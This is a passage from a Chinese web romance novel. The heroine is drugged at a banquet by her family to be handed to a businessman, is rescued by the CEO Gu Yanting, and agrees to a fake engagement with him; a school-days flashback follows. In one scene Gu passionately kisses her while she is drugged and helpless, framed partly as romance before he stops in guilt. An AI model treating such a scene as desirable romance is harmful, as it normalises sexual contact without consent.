既解了围,又将江晚絮逼到了一个不得不喝的境地。
江晚絮看着那杯“果汁”。
灯光下,液体呈现出一种诡异的粘稠感。
她心里警铃大作。
可是,她能怎么办?
当着所有人的面,打翻这杯果汁吗?
那只会激怒他们,让他们用更粗暴的手段,来对付自己。
江晚絮的目光,扫过江明泽警告的眼神,江明宇凶狠的表情,和江芊妤那张天真无害的脸。
她知道,这是一个陷阱。
一个,她不得不跳的陷阱。
她端起杯子,对着李鸿昌,扯出了一个比哭还难看的笑容。
“李总,抱歉。”
说完,她仰起头,将那杯“果汁”,一饮而尽。
酸涩的,带着一丝苦味的液体,滑过喉咙。
江芊妤的眼底,闪过一抹得意的精光。
江晚絮放下杯子,刚想坐下。
一股强烈的,突如其来的晕眩感,猛地席卷了她的全身。
天花板上的水晶灯,在她的视野里,开始旋转,分裂出无数个重影。
四肢百骸,像是被灌满了铅,沉重得抬不起来。
她在心里呐喊,可嘴巴,却像是被胶水粘住了一样,发不出任何声音。
她的身体,软软地朝着一边倒去。
江芊妤眼疾手快地扶住了她,语气里,充满了恰到好处的惊慌和关切。
“哎呀!姐姐,你怎么了?”
她转头,对着一脸错愕的众人,无辜地解释道。
“姐姐她……就喝了一杯果汁,怎么就醉成这样了?”
李鸿昌站了起来,走到江晚絮的身边。
看着她双颊绯红,眼神迷离的样子,喉结不受控制地滚动了一下。
“看来,江小姐是真的累了。”
他顺势,将手搭在了江晚絮的肩膀上,语气暧昧。
“我在楼上开了一间总统套房。让我送她上去休息吧。”
江明泽立刻会意,脸上堆满了谄媚的笑容。
“那就……有劳李总了。”
江晚絮的意识,在这一刻,彻底陷入了黑暗。
她像一个任人摆布的玩偶,被李鸿昌和江明宇,半架半抱地,带出了包间。
在彻底失去意识前,她最后听到的,是江芊妤那句,如同魔鬼低语般的声音。
“姐姐,祝你,新婚快乐。”
不知过了多久。
江晚絮是被一阵刺骨的寒意,给冻醒的。
酒店套房里的空调,开得很低。
她费力地睁开眼,发现自己正躺在一张大得离谱的柔软大床上。
头痛欲裂。
身体,依旧是软绵绵的,提不起一丝力气。
这是哪里?
记忆,像是断了线的珠子,一颗颗的,重新串联起来。
饭局……果汁……江芊妤那张虚伪的脸……
还有李鸿昌那双,充满欲望的,令人作呕的眼睛。
一个激灵,江晚絮瞬间清醒了大半。
她猛地坐起身,环顾四周。
这是一个装修得金碧辉煌的总统套房。
而浴室的方向,正传来哗哗的水声,还夹杂着一个男人,哼着小曲的,油腻的声音。
是李鸿昌。
她要逃!
江晚絮咬破了自己的舌尖,剧烈的疼痛,让她混沌的大脑,又清醒了几分。
她挣扎着,从床上滚了下来,“噗通”一声,摔在地毯上。
顾不上膝盖传来的剧痛,她手脚并用地,朝着门口爬去。
快一点!
再快一点!
浴室里的水声,随时都有可能停下!
终于,她爬到了门口,颤抖着手,去拧动门把手。
“咔哒。”
门把手,纹丝不动。
门,被从外面反锁了!
绝望,如同冰冷的海水,将她淹没。
就在这时。
浴室里的水声,戛然而止。
那个哼着小曲的声音,也停了下来。
他要出来了!
巨大的恐惧,反而激发了江晚絮身体里,最后一丝潜能。
她像一头发了疯的困兽,在房间里,疯狂地寻找着出口。
窗户?
这里是顶层!跳下去,就是粉身碎骨!
就在她即将崩溃的边缘。
她的目光,被沙发旁,一扇不起眼的,几乎与墙纸融为一体的小门,吸引住了。
那是什么?
她踉跄着扑过去,才发现,那竟然是一扇应急的联络门!
是专门为顶级套房设计的,可以通往隔壁的房间!
江晚絮的眼中,重新燃起了希望的火焰。
她用尽全身的力气,去转动那扇门的门锁。
一下,两下……
她的指甲,因为太过用力而断裂,鲜血,染红了冰冷的金属门把。
“咔嚓!”
一声轻响。
在李鸿昌推开浴室门的前一秒。
锁,开了!
江晚絮想也没想,一把拉开门,连滚带爬地,冲了进去。
随即,体力不支,整个人,软软地瘫倒在地。
模糊的视线中。
她只看到一双锃亮的,擦得一尘不染的黑色手工皮鞋,停在了她的面前。
第30章 任君采撷
江晚絮面前,那双皮鞋的主人,身形挺拔如松。
隔着薄薄的西装裤料,她似乎都能感受到,那双腿里,蕴含着的,爆炸性的力量。
江晚絮费力的,抬起头。
逆着光,她看不清那个男人的脸。
只能看到一个,冷硬又完美的下颌线。
还有那双,深邃的,像是能将人灵魂都吸进去的,黑眸。
房间的主人,正是顾彦廷。
他刚从助理苏洛敏的口中,听完江家这几天的所有龌龊勾当。
那条求救短信,在两天前,就到了苏洛敏的手机上。
顾彦廷几乎是在第一时间,就动用了所有的关系,将江家的底裤,都查了个一清二楚。
他本想,用一种更体面,更具碾压性的方式,出现在她的面前。
将她,从那个肮脏的泥潭里,毫发无伤的,拯救出来。
却怎么也没料到,她会以这样一种,狼狈不堪,又决绝惨烈的方式,自己撞进他的世界里。
顾彦廷看着地上,蜷缩成一团的女人。
她身上的白色连衣裙,已经变得皱皱巴巴,甚至还沾上了一些污渍。
头发凌乱,脸色潮红,眼神涣散,明显是被人下了药。
顾彦廷的心,像是被一只无形的大手,狠狠地揉捏着。
蚀骨的心疼,与滔天的怒火,在他的眼底,疯狂翻涌。
江家。
好一个江家!
他缓缓的,俯下身。
用一种,与他浑身散发出的冷冽气场,截然相反的,极尽轻柔的力道,将地上的江晚絮,打横抱了起来。
她的身体,很轻很轻,轻得像一片羽毛。
却又那么滚烫。
怀里的女人,似乎是感受到了一个安全的怀抱,紧绷的身体,终于放松了下来,无意识地,朝着他的胸口蹭了蹭。
顾彦廷的身体,瞬间僵硬。
他喉结滚动,抱着她的手臂,不自觉地,又收紧了几分。
他对身后,早已吓得大气都不敢出的助理苏洛敏,冷冷的下了命令。
“处理干净。”
他的声音,像是淬了冰,不带一丝温度。
“我不希望,有任何人,任何事,来打扰。”
“是,顾总!”
苏洛敏立刻点头,转身,快步走了出去。
就在这时,那扇联络门,被人从另一边,猛地推开。
刚出浴的李鸿昌,身上只围了一条浴巾,正一脸淫邪地,探头进来。
“小美人儿,你跑……”
他的话,还没说完。
就对上了顾彦廷那双,冰冷的,像是能杀人的眼睛。
李鸿昌脸上的笑容,瞬间凝固。
“顾……顾总?!”
他做梦也没想到,会在这里,碰到京圈这位,说一不二的活阎王!
而这位活阎王,怀里抱着的女人……
竟然是他刚刚,才到手的“猎物”!
李鸿昌的脑子,“嗡”的一声,一片空白。
还不等他反应过来。
两个穿着黑色西装的保镖,已经面无表情地,堵在了门口。
“砰!”
那扇门,被无声地,关上了。
门外,传来了李鸿昌惊慌失措的,求饶声。
“顾总!顾总!这是个误会!我不知道她是您的人啊!”
一门之隔。
两个世界。
江晚絮残存的理智,像风中残烛,摇摇欲坠。
但当她努力聚焦,看清了男人那张在财经杂志上出现过无数次的,俊美得如同神祇雕塑的脸庞时,最后一丝求生的本能被彻底激发。
是顾彦廷!
她用尽全身最后一丝力气,她抬起手,死死地攥住了他剪裁得体的西装裤脚。
布料昂贵的触感,带着他身体的温度,让人安心。
“顾先生……”
她的声音破碎得不成调,带着哭腔,像被抛弃的小猫。
“救救我……”
说完这句,她紧绷的神经,终于彻底断裂。
一股难以言喻的燥热,从四肢百骸涌起,烧得她浑身滚烫,理智全无。
她本能地朝着身边唯一的冰凉源头贴了过去。
那是顾彦廷的身体。
隔着薄薄的衣料,她能感受到他坚实有力的胸膛,和那沉稳如山的心跳。
好舒服……
好凉快……
她无意识地,用自己绯红滚烫的脸颊,在他的胸口蹭了蹭。
平日里那双清冷如寒星的眸子,此刻水光潋滟,蒙上了一层迷离的雾气,眼尾泛着动人的红。
干裂的嘴唇也微微地张着。
这副任君采撷的媚态,与她平日里那副竖起全身尖刺、拒人于千里之外的清冷模样,形成了极致的反差。
顾彦廷抱着她的手臂,青筋暴起。
他引以为傲了三十年的自制力,在怀中女人无意识的撩拨下,正一寸寸地,土崩瓦解。
呼吸的节奏乱了。
他甚至能清晰地闻到,她发间传来的淡淡馨香。
那是他午夜梦回时,肖想了无数遍的味道。
“嗯……”
江晚絮发出一声细碎的呻吟。
这声呻吟,让顾彦廷的理智,彻底崩断。
他低下头,再也无法克制,狠狠地攫住了那双他渴望已久的唇。
这个吻,带着长久压抑后的,狂风暴雨般的侵略性。
他撬开她的贝齿,攻城略地,不留一丝余地。
江晚絮被这突如其来的吻,惊得浑身一颤。
她本能地想要挣扎,可身体却软得像一滩春水,提不起半分力气。
只能被迫承受着男人霸道又滚烫的气息。
她生涩的回应,和身体无法抑制的轻颤,像是一剂催化剂,让顾彦廷眼底的墨色,愈发浓郁。
他吻得更深,更重。
带着一丝惩罚,又带着无尽的怜惜。
渐渐地,那股侵略的力道,化为了极致的缠绵与探索。
他耐心地,引导着她,让她从最初的惊慌,慢慢沉溺在这令人目眩神迷的感官盛宴中。
房间里的温度,节节攀升。
衣衫,在纠缠中变得凌乱。
就在顾彦廷的大手,即将滑入最后一道防线,意乱情迷到几乎要将她彻底占有的时候——
一滴冰凉的液体,毫无预兆地滴落在了他的手背上。
是眼泪。
顾彦廷所有的动作,瞬间僵住。
第31章 我们,结婚吧
顾彦廷抬起头,看到江晚絮紧闭着双眼,长长的睫毛上挂着晶莹的泪珠。
即便在意识不清的情况下,她依然在哭。
这滴泪,像一盆兜头而下的冰水,瞬间浇醒了顾彦廷所有被欲望冲昏的头脑。
他在做什么?
她刚刚才从一个地狱里逃出来。
她那么无助地向他求救。
而他,却趁人之危,差点……
顾彦廷,你真该死!
他猛地停下了所有的动作,用尽了此生最大的意志力,拉开了与她之间的距离。
他看着怀中衣衫不整,双颊潮红,眼角还挂着泪痕的女人,心疼得几乎无法呼吸。
他脱下自己的西装外套,动作轻柔的,将她暴露在空气中的肌肤,一寸寸盖好。
然后将她轻轻抱到床上,拉过天鹅绒的被子,将她纤瘦的身体,严严实实地裹了起来,只露出一张巴掌大的小脸。
做完这一切,他像是逃一样转身大步走进了浴室。
“哗——”
冰冷的凉水,从头顶浇下。
顾彦廷闭上眼,任由冷水冲刷着自己。
半小时后,拿起了房间里的内线电话。
电话接通的瞬间,他再开口,声音已经恢复了往日的冷冽与平静,不带一丝一毫的情绪。
“林舟。”
“顾总,有什么吩咐?”
“两个要求。”
顾彦廷的眼神,透过浴室的玻璃门,落在床上那小小的一团上,声音冷得像是能掉出冰渣。
“一,让隔壁那位李总,在他自己的房间里,睡到明天中午。”
“是。”
“二,立刻联系江家的人,特别是江明泽和江明宇。就说,顾氏集团,对他们正在进行的项目有合作意向,请他们立刻到云顶阁顶层的会议室,我会亲自跟他们谈。”
电话那头的林特助,愣了一下,但立刻反应过来。
“明白!”
挂断电话,顾彦廷用手抹了一把脸上的水珠。
江家。
叶寒。
所有欺辱过她的人。
他会让他们,一个一个地,付出代价。
另一边。
李鸿昌的总统套房里。
他刚刚给江明泽打完电话,添油加醋地抱怨了几句“猎物”跑了的事情,正准备穿上衣服,亲自去把“不听话的小美人”抓回来。
就在这时,房门被“滴”的一声,从外面刷开了。
“谁?!”
李鸿昌警惕地回头。
两个穿着黑色西装,戴着墨镜,如同铁塔一般的保镖,面无表情地走了进来。
“你们是什么人?知道我是谁吗?!”
李鸿昌色厉内荏地吼道。
其中一个黑衣人,理都没理他,径直走到他面前。
李鸿昌还没来得及做出任何反应,只觉得后颈一痛,眼前一黑,便彻底失去了意识。
另一个黑衣人,从口袋里拿出一瓶烈酒,熟练地,将大半瓶酒,都倒在了李鸿昌的身上和房间的地毯上。
又将他肥硕的身体,以一个极其不雅的姿势,扔在了床上。
最后,他们拿起桌上一个价值不菲的古董花瓶,在李鸿昌的床头柜上,轻轻地,磕出了一道裂纹。
那裂纹,细微,却致命。
足以让任何一个懂行的人,看得心惊肉跳。
做完这一切,两人悄无声息地,离开了房间。
整个过程,行云流水,不超过三分钟。
就像,从未有人来过一样。
而此时的江家兄弟,也接到了来自顾氏集团总裁特助,林舟的电话。
当听到“顾氏集团”“合作意向”、“顾总亲自会面”这几个关键词时。
江明泽握着手机的手,都在颤抖。
“林特助,您……您说的是真的?”
他简直不敢相信自己的耳朵。
顾氏集团!
那可是京圈真正的金字塔顶端!
是他们江家,踮起脚尖都够不到的存在!
现在,这样的庞然大物,竟然主动提出要跟他们合作?!
电话那头,传来林舟礼貌而疏离的声音。
“当然。顾总的时间很宝贵,请江总和二少,在半小时内,赶到云顶阁顶层会议室。过时不候。”
“一定一定!我们马上就到!”
江明泽挂断电话,激动得脸都红了。
旁边的江明宇,也是一脸的狂喜。
“大哥!这是真的吗?!顾少要见我们?”
“千真万确!”
江明泽用力地拍了一下大腿,“我们江家,这是要发达了啊!”
“太好了!”江明宇兴奋地搓着手,“只要搭上顾家这条线,以后在京市,谁还敢不给我们江家面子?!”
兄弟两人,沉浸在即将一步登天的巨大喜悦中,兴奋得手舞足蹈。
至于被他们亲手送出去的江晚絮?
早就被忘到九霄云外去了。
在他们看来,用一个不听话的妹妹,换来整个家族的飞黄腾达,简直是天底下最划算的买卖!
两人以最快的速度,整理好自己的仪容,赶到了云顶阁顶层。
那间传说中,只接待顶级贵宾的豪华会议室,此刻正为他们敞开着大门。
江家兄弟受宠若惊,正襟危坐地,坐在真皮沙发上。
面前,是助理恭敬奉上的,顶级大红袍。
两人端着茶杯,畅想着与顾家合作之后,江家一飞冲天,跻身顶级豪门的辉煌未来,激动得连茶水都喝不下了。
时间,一分一秒的过去。
一个小时。
两个小时。
会议室里,始终只有他们两个人。
顾彦廷,连个影子都没见到。
江明泽脸上的笑容,渐渐有些挂不住了。
他心里的激动,也慢慢冷却下来,变成了一丝不安。
江明宇是个暴脾气,早就坐不住了。
“大哥,顾少到底什么意思?把我们晾在这里两个小时,耍我们玩呢?”
江明泽瞪了他一眼,压低了声音。
“闭嘴!顾总是什么身份?日理万机,有点急事很正常!给我耐心等着!”
话是这么说,但他心里,也已经开始打鼓了。
就在这时,会议室的门,终于被推开了。
进来的,却不是顾彦廷,而是他的林舟。
林舟脸上,依旧挂着那副礼貌的,无懈可击的微笑。
他对着江家兄弟,微微鞠了一躬。
“江总,江二少,实在不好意思。”
“顾总临时有个跨国视频会议,十分重要,今日恐怕无法与二位会面了。”
“二位,请回吧。”
第32章 我答应你
江明泽脸上的血色,“唰”的一下,全都褪尽了。
他就是再蠢,此刻也明白了。
什么合作意向,什么亲自会面。
从头到尾,就是一场彻头彻尾的戏弄!
他的脸,瞬间涨成了猪肝色,青一阵,白一阵,精彩纷呈。
他想发作,可看着林舟那张笑眯眯的脸,和他身后站着的两个保镖,却是一个字都说不出来。
对方是顾彦廷!
别说只是耍了他们,就算当着他们的面,扇他们两个耳光,他们也只能忍着!
“那……那合作的事情……”
江明泽不死心地,挤出一个比哭还难看的笑容。
林舟的笑容,依旧得体。
“关于合作,我们集团会再做评估。有消息了,会第一时间通知二位的。”
这句话,就是彻彻底底的送客了。
江明泽的最后一丝幻想,也破灭了。
他知道,自己今天是结结实实地被人当猴耍了。
可是为什么?
他们江家,什么时候得罪了这尊大佛?
他想不通,也不敢想。
最终,江家兄弟只能在整个会所工作人员,若有似无的嘲弄目光中,灰溜溜的,离开了云顶阁。
那挺得笔直的脊梁,来的时候有多意气风发,走的时候,就有多狼狈不堪。
不知过了多久。
江晚絮在一片柔软中,悠悠转醒。
药效已经过去了。
只是身体,还有些虚软无力。
她缓缓睁开眼,映入眼帘的,是陌生的,华丽无比的天花板。
她猛地坐起身,警惕地环顾四周。
这是一个酒店套房。
但不是李鸿昌那个!
她低头,看了看自己。
身上的白色连衣裙,虽然有些褶皱,但却完好无损地穿在身上。
她松了一口气,紧绷的心弦,稍稍放松了一些。
记忆,如同潮水般涌来。
李鸿昌,下药,逃跑……然后……
是顾彦廷救了她。
就在这时,套房的门被人轻轻推开。
顾彦廷穿着一身黑色的丝质睡袍,走了进来。
他刚刚冲完澡,头发还带着一丝湿气,整个人,散发着一种慵懒又危险的性感。
四目相对。
江晚絮的心,漏跳了一拍。
她下意识地抓紧了身上的被子,眼神里还带着一丝未褪的惊惶。
“醒了?”
顾彦廷的声音,低沉而磁性,像是大提琴的弦音。
“感觉怎么样?有没有哪里不舒服?”
江晚絮摇了摇头,然后掀开被子下了床。
她走到顾彦廷的面前,对着他深深地鞠了一躬。
“顾先生,谢谢你。”
她的声音,带着一丝沙哑,但语气却无比的诚挚。
“如果不是你,我……”
她不敢想象,后果会是什么。
顾彦廷看着她这副疏离又客气的样子,深邃的眼眸里,闪过一丝不易察觉的失落。
他伸出手想去扶她,却又在半空中顿住了。
最终,只是淡淡的开口。
“举手之劳。”
他走到沙发边坐下,给自己倒了一杯红酒,姿态优雅。
“江小姐,接下来,你有什么打算?”
江晚絮沉默了。
打算?
她还能有什么打算?
江家,她是不会再去了。
叶寒……那个名字,她现在连想都不愿意想。
她在这座城市,好像已经,无处可去了。
看着她脸上一闪而过的茫然与脆弱,顾彦廷的眼中,划过一抹心疼。
他晃了晃杯中的红酒,开门见山。
“江小姐,我有个提议。我们,结婚吧。”
“什么?”
江晚絮猛地抬起头,一脸的不可置信。
顾彦廷看着她震惊的表情,继续不紧不慢地,抛出自己的筹码。
“跟我结婚。做我的顾太太。”
“我可以为你提供最顶级的庇护,隔绝江家、叶寒,以及所有你想隔绝的麻烦。”
“没有人,再敢动你一根手指头。”
结婚。
这两个字,对现在的江晚絮来说,简直就是最恶毒的诅咒。
她刚刚才从一段,耗尽了她所有热情和生命的婚姻里,挣扎出来。
遍体鳞伤,体无完肤。
现在,这个只见过几面的男人,竟然向她提议,再跳进另一个婚姻的坟墓?
荒谬!可笑!
“不可能。”
江晚絮想也没想,下意识地就拒绝了。
她的反应,激烈的,像一只被踩到尾巴的猫。
“顾先生,谢谢你的好意。但,我不会再结婚了,跟谁都不会。”
她的语气很决绝。
顾彦廷看着她眼底的排斥和恐惧,心中早有预料。
他并没有生气,反而像是松了一口气,立刻就换了另一种说法。
“好,那我们换一种合作方式。”
他将酒杯放下,身体微微前倾。
“既然不想结婚,那就先从我的‘未婚妻’开始。”
“你只需要偶尔陪我出席一些必要的场合,扮演好你的角色。”
“作为回报,我的资源,我的人脉,我的名义,随你使用。”
“我会帮你,扫清你事业上所有的障碍,让你站在,你本该站上的高度。”
他顿了顿,嘴角勾起一抹,商人般精明的弧度。
“你可以把它,看作一份……高级的,公关兼职。”
江晚絮愣住了。
她不得不承认,这个提议充满了诱惑力。
她现在最需要的,就是时间和资源。
她要拿回属于自己的研究成果,要让那些伤害过她的人,付出代价。
而顾彦廷,无疑是能帮助她,实现这一切的,最强大的捷径。
可是……
“为什么是我?”
江晚絮问出了心里最大的疑惑。
以顾彦廷的身份地位,想要什么样的女人没有?
为什么要选她这个,声名狼藉,麻烦缠身的“弃妇”?
顾彦廷的眼中,飞快的,闪过一丝复杂的情绪。
那些翻涌的,压抑了多年的旧日回忆,几乎要脱口而出。
但他知道,现在还不是时候。
他强行压下心中的波澜,给出了一个,冷静到近乎冷酷的理由。
“第一,你的才华,是国际物理学界都认证过的。站在我身边,不会给我丢人。”
“第二,江家虽然落魄了,但江家大小姐这个身份,在某些特定的场合,依然有点用处。”
“第三,你足够美丽。”
他上下打量了她一眼,目光,像是最挑剔的鉴赏家,在评估一件商品的价值。
“第四,也是最重要的一点——”
他的声音,陡然变冷。
“你现在,麻烦缠身,急需庇护。一个走投无路的人,才是最可靠的合作伙伴。因为,你不会轻易背叛。”
这番完全基于利益交换,甚至带着一丝羞辱意味的分析,反而让江晚絮放下了心里最后的一丝戒心。
她最怕的,就是无缘无故的好。
因为她已经再也承受不起,任何带有感情的、虚伪的欺骗了。
像这样,明码标价,赤裸裸的交易,反而让她觉得无比的安全。
她看着眼前的男人。
他强大,冷静,睿智,且目的明确。
和他合作,的确是她目前,摆脱困境,报仇雪恨的,最佳途径。
沉默了良久。
江晚絮终于,缓缓地,点了点头。
“好。”
“我答应你。”
听到这个答案,顾彦廷一直紧绷的背脊,才在无人察觉的角落,悄然放松了下来。
他看着她点头的模样,心中一块悬了多年的巨石,终于,落了地。
晚絮。
这一次。
我再也不会,让你从我身边逃走了。
第33章 丑小鸭和白天鹅
协议达成,江晚絮紧绷的神经立刻松懈下来。
她只觉得眼前一阵发黑,双腿发软,身体不受控制地晃了晃。
顾彦廷的眸色一沉。
他长臂一伸,在她即将摔倒的前一秒,稳稳地扶住了她的胳膊。
“小心。”
他的声音,依旧低沉,却比刚才多了几分关切。
男人的手掌,滚烫有力,那温度,让江晚絮的身体,不受控制地轻轻一颤。
她立刻挣开了他的手,往后退了一小步,“我没事。”
顾彦廷伸出的手,在半空中僵了僵。
他看着她苍白的小脸,最终,他只是不动声色地收回了手。
“坐下。”
他用下巴指了指旁边的沙发。
江晚絮抿了抿唇,没有反驳。
她现在的身体状况,确实不允许她再逞强。
她依言,在沙发最远的角落坐了下来,身体挺得笔直。
顾彦廷看着她这副防备的模样,没再说什么。
他转身,从酒柜里拿出一瓶未开封的矿泉水,拧开递到她面前。
“喝点水。”
江晚絮犹豫了一下,还是接了过来。
她的嘴唇,确实干裂得厉害。
“谢谢。”
她低声道谢,小口小口地喝着水。
顾彦廷就那么站在她面前,居高临下地看着她。
江晚絮被他看得浑身不自在。
她喝完水,将瓶子放在茶几上,抬起头,迎上他的视线。
“顾先生,如果没有别的事,我就先……”
“饿不饿?”
他冷不丁地打断了她的话。
江晚絮愣了愣。
“什么?”
“我问你,饿不饿?”
顾彦廷又重复了一遍,语气里带着一丝不耐烦,仿佛这是个再简单不过的问题。
江晚絮这才后知后觉地感受到,自己的胃里,正传来一阵阵空虚的绞痛。
从被江家人关起来到现在,她已经两天多没正经吃过东西了。
之前靠着一股愤恨和求生的意志撑着,还不觉得。
现在一放松下来,饥饿感,便排山倒海般袭来。
她下意识地,点了点头。
顾彦廷像是早就料到了一样,拿出手机,拨通了一个号码。
“林舟,让人送一份清淡的粥和几样小菜上来。”
挂断电话,房间里,再次陷入了沉默。
江晚絮坐在沙发上,双手无措地放在膝盖上,连视线都不知道该放在哪里。
她和顾彦廷,实在算不上熟悉。
除了财经杂志上的惊鸿一瞥,和几次偶遇时的点头之交,他们之间,几乎没有任何交集。
可就是这个几乎算是陌生人的男人,却在她最狼狈,最绝望的时候,向她伸出了援手。
不仅救了她,甚至……还提出要和她合作。
这一切,都像一场不真实的梦。
她到现在,都还有些恍惚。
她想不通,他为什么要帮自己。
图她的才华?图江家大小姐的名头?图她所谓的“美貌”?
这些理由,听起来冠冕堂皇,可江晚絮一个字都不信。
以顾彦廷的身份地位,想要什么样的合作伙伴没有?
他根本,犯不着在一个声名狼藉的“弃妇”身上,下这么大的赌注。
除非……他另有所图。
可她身上,还有什么是值得他图谋的呢?
江晚絮百思不得其解。
她偷偷抬起眼,飞快地瞥了一眼不远处的男人。
他正背对着她,站在巨大的落地窗前,一手插在睡袍的口袋里,一手端着红酒杯,姿态慵懒而优雅。
窗外,是京市璀璨的夜景。
万家灯火,在他脚下,渺小得如同星尘。
而他,就像是掌控着这片星河的,暗夜帝王。
矜贵,强大,遥不可及。
看着他的背影,江晚絮的思绪,不受控制地,飘回了许多许多年前。
那个同样孤傲,却远比现在狼狈的多的,少年时代。
十年前,圣樱贵族学院。
那是京市所有豪门子弟,挤破了头都想进去的顶级学府。
而十六岁的江晚絮,是里面最格格不入的一个异类。
她刚被江家从乡下的外婆家接回来不久。
一口带着乡音的普通话,一身洗得发白的旧衣服,让她在一众衣着光鲜,谈吐优雅的富家子女中,像一只不小心闯入天鹅群的丑小鸭。
所有人都用鄙夷的眼神看着她。
而她的“好妹妹”江芊妤,更是其中的佼佼者。
江芊妤当着所有人的面,亲热地挽着她的胳膊,叫她“姐姐”。
背地里,却带着她那群所谓的“闺蜜”,用尽了各种手段,排挤她,羞辱她。
往她的书包里倒墨水,把她的作业本撕得粉碎。
甚至,在她上体育课的时候,将她锁在空无一人的器材室里。
江晚絮不是没有向江家人求助过。
可换来的,却是江父不耐烦的呵斥。
“芊妤那么善良,怎么可能欺负你?一定是你自己不合群,惹是生非!”
后妈柳芸,更是一脸的尖酸刻薄。
“我们家芊妤可是正经的千金小姐,你一个乡下来的野丫头,别不知好歹,往她身上泼脏水!”
就连那几个哥哥,也全都站在江芊妤那一边。
从那以后,江晚絮就再也不说了。
她学会了沉默,学会了忍耐,学会了将所有的委屈和伤痛,都一个人,默默地吞进肚子里。
她就像一座孤岛,被全世界所抛弃。
直到,她遇到了他。
当时的顾彦廷,和她一样,也是学校里的“异类”。
只不过,她是从底层闯入的丑小鸭。
而他,是从云端跌落的,落魄王子。
那一年,顾家遭遇了前所未有的危机。
顾父被人陷害,官司缠身,公司濒临破产。
曾经众星捧月的京圈太子爷,一夜之间,成了人人避之不及的瘟神。
那些曾经跟在他身后,一口一个“顾少”叫着巴结他的人,转过头,就成了踩他最狠的刽子手。
他的处境,甚至比江晚絮还要艰难。
因为他曾经站得太高,所以摔下来的时候,才更惨。
江晚絮第一次,那么清晰的,感受到这个世界的残酷与现实。
她还记得,那是一个下着雨的午后。
她为了躲避江芊妤那群人的围堵,慌不择路地跑上了教学楼顶层的天台。
然后,她就看到了,那让她永生难忘的一幕。
第34章 真是不要脸
那天的雨,下得很大。
几个穿着圣樱学院校服的男生,正将一个少年,死死地绑在天台的栏杆上。
为首的那个,是京市新晋的暴发户之子,张扬跋扈,不可一世。
他手里拿着一根棒球棍,一下一下地,敲打着那个被绑着的少年的脸颊。
“顾彦廷,你他妈的还装什么清高?”
“你以为你还是以前那个高高在上的顾少吗?”
“我告诉你,你现在,就是一条连家都快没了的丧家之犬!”
“你爸都快进去了,你还有钱交学费吗?啊?”
雨水,混着血水,从少年俊美而苍白的脸颊上,缓缓滑落。
他的嘴角渗血,白色的校服衬衫上,满是泥泞的脚印。
可即便狼狈到了极致,他的脊梁,却依旧挺得笔直。
他死死地瞪着那几个人,一言不发。
那眼神,充满了不屈和嗜血的野性。
江晚絮的心,在那一刻狠狠地揪了一下。
她从这个少年的身上,看到了自己的影子。
那种,被全世界孤立,被所有人踩在脚下的,不甘与愤怒。
她不知道自己是哪里来的勇气。
或许是,积压了太久的愤懑,在那一刻,找到了一个宣泄的出口。
她从旁边的角落里,抄起一根废弃的铁管,用尽了全身的力气,狠狠地砸向了天台旁边,一个巨大的铁皮桶。
“哐——!!”
一声震耳欲聋的巨响,在空旷的天台上传开!
那几个正在施暴的男生,被这突如其来的声音,下意识的浑身一哆嗦。
“谁?!”
他们警惕地,朝着声音的来源望去。
江晚絮趁着他们分神的功夫,扯着嗓子,用尽了平生最大的力气,声嘶力竭地大喊了一声。
“教导主任来了——!!”
她的声音,因为紧张和害怕,带着一丝颤抖,却异常地响亮。
那几个男生,本来就是做贼心虚,一听到“教导主任”这四个字,更是吓得魂飞魄散。
圣樱学院的教导主任,是出了名的铁面无私,心狠手辣。
要是被他抓到在学校里聚众斗殴,轻则记大过,重则直接开除。
他们哪里还敢多待?
“妈的,算你小子运气好!”
为首的男生,朝着顾彦廷的肚子上又踹了一脚。
然后,便带着他那群狐朋狗友,从另一个楼梯口逃之夭夭了。
天台上,瞬间只剩下了江晚絮和那个被绑在栏杆上的少年。
还有,那淅淅沥沥越下越大的雨。
江晚絮握着手里的铁管,心脏“砰砰”地,跳得飞快。
她看着不远处的少年,有些紧张,又有些害怕。
她怕那些人会回来。
她更怕这个看起来就不好惹的少年,会把怒气,撒在她的身上。
她犹豫了很久,才终于鼓起勇气,朝着他挪了过去。
雨水打湿了她的头发和衣服,冷得她瑟瑟发抖。
少年抬起头,将目光落在了她身上。
他的眼神里,没有感激,只有恼怒与警惕。
“滚。”
他说。
江晚絮的脚步,顿住了。
她看着他,没有滚。
她只是默默的,从自己那洗得发白的校服口袋里,掏出了一块叠得整整齐齐的,带着小碎花的手帕。
那是她身上唯一干净的东西。
她走到他的面前,踮起脚尖,动作生涩而笨拙的,想要去擦拭他脸上的血迹。
顾彦廷下意识地想要偏过头躲开。
可她的动作虽然笨拙,却带着一种不容拒绝的执拗。
柔软的触感,落在了他冰冷的脸颊上。
顾彦廷所有的动作都顿住了。
他怔怔地看着眼前这个,比自己矮了一个头的,瘦弱得像一根豆芽菜的女孩。
她的头发被雨水打湿了,黏在脸颊上,有几分狼狈。
可那双眼睛,却很干净。
“别动,会疼。”
她的声音软软的,像棉花糖一样。
顾彦廷的心,毫无预兆地漏跳了一下。
然后,他就那么鬼使神差地,真的没有再动了。
他就那么任由她,用那块小小的手帕,一点一点地,擦干净了他脸上的血污和雨水。
她的动作很轻,很小心。
擦完脸,她又看到了他被撕裂的,名贵的校服袖口。
那上面,有他家族的特殊的刺绣徽章。
江晚絮抿了抿唇。
她又默默的,从自己的书包里,掏出了一个很可爱的针线包。
那是外婆,在她来京市之前,亲手给她缝的。
她当宝贝一样,走哪儿都带着。
她当着他的面,打开针线包,拿出针和白色的线,熟练地穿好。
然后拉过他的手腕,低着头,开始认真地为他缝补那道裂开的口子。
她的手指,很细,很白。
因为常年帮外婆做农活,指腹上,有一层薄薄的茧。
可她的动作,却十分灵巧。
一针,一线,细密,又平整。
顾彦廷垂下眼,看着她毛茸茸的头顶。
雨水,顺着她的发梢滴落下来,落在了他的手背上。
冰冰凉凉的。
可他的心,却像是被什么东西给烫了一下。
长这么大,从来没有人这样细心地对待过他。
他的母亲,是京圈有名的名媛,十指不沾阳春水,家里的佣人,对他永远是恭敬而疏离的。
而那些所谓的“朋友”,更是只会在他风光的时候,锦上添花。
在他落难的时候,只会落井下石。
这是第一次。
有一个人,在他最狼狈、最不堪的时候,像一道光一样,劈开了他灰暗的世界。
“你……”
他喉结滚动,想说些什么。
却发现,自己的声音,竟然有些干涩。
“你叫什么名字?”
江晚絮缝完最后一针,咬断了线头。
她抬起头,那双干净的眸子,看着他,轻声回答。
“江晚絮。”
“我叫顾彦廷。”
他看着她,一字一顿地,说出了自己的名字。
那是他第一次,如此郑重地,向一个人,介绍自己。
从那天起,他们的世界,开始有了交集。
